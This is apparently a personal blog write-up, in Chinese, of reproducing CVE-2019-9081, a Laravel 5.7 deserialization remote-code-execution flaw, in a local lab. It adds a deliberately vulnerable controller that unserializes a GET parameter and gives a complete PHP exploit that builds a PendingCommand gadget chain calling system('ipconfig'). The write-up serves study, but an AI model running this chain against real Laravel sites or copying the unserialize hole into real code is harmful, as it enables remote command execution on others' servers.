0%

CVE-2019-9081

CVE-2019-9081学习&复现

两个月前学会搭建了laravel,几天前学会了php动态调试。今天再看(CVE-2019-9081)Laravel 5.7 反序列化rce终于能看懂了一点。今天主要按照上面文章的poc,自己在本机上跑一边,并加深一下理解。

0x00 前置条件

  • 本地搭建laraevl 5.7的环境。
  • 完成php动态调试的相关配置。

我是采用phpstudy搭建的环境。debug用的phpstorm+firefox插件+xdebug。php用的7.3,但php版本对于这次复现应该影响不大。

0x01 漏洞简解

具体的过程在上面的文章里写的很清楚了。我这里就简单概括一下。

laravel5.7与上一个版本相比,源码里在Illuminate\Foundation\Testing下多了个PendingCommand类。通过将这个类反序列化最终实现rce。所以前提要存在一个可用的反序列化入口,文章说他在源码里没有找到,需要自己在项目里写一个。他太菜了,哪天我来找找(X)。

所以在相应位置加了这个文件。并在routes/web.php里加了一个路径**Route::get('/index','TaskController@test');**。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace App\Http\Controllers;
class TaskController
{
public function test(){
if(isset($_GET['test'])){
unserialize($_GET['test']);
}
return "testsucceed";
}
}
?>

对于PendingCommand类,其存在__destruct方法,这个方法里调用到run方法,在run方法中可以执行到这样一句代码

1
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

有一说一,这行代码看不懂。通过上的文章和自己调试,大概知道$this->app[Kernel::class]是在实例化一个类,

->call($this->command, $this->parameters)是在调用实例化类的call方法。后面还好理解,具体前面为什么$this->app[Kernel::class]就实例化了一个类,是真的没看明白。

照葫芦画瓢写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Illuminate\Foundation;
class Application
{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct()
{
$this->bindings = array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"));
}
}

namespace Illuminate\Auth;
class GenericUser
{
public $attributes;

public function __construct()
{
$this->attributes = array("expectedOutput" => array(0, 1, 2, 3), "expectedQuestions" => array(0, 1, 2, 3));
}
}


namespace Illuminate\Foundation\Testing;

use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;

class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct()
{
$this->test = new GenericUser();
$this->parameters = array("ipconfig");
$this->command = "system";
$this->app= new Application();
}
}


echo urlencode(serialize(new PendingCommand()));

执行效果:

0x02小结

一开始总是调着调着就500报错了,导致调的不太明白。后来改了apache的配置解决了问题。可以畅快的调试了,等再学一学php再来看$this->app[Kernel::class]到底怎么实现的。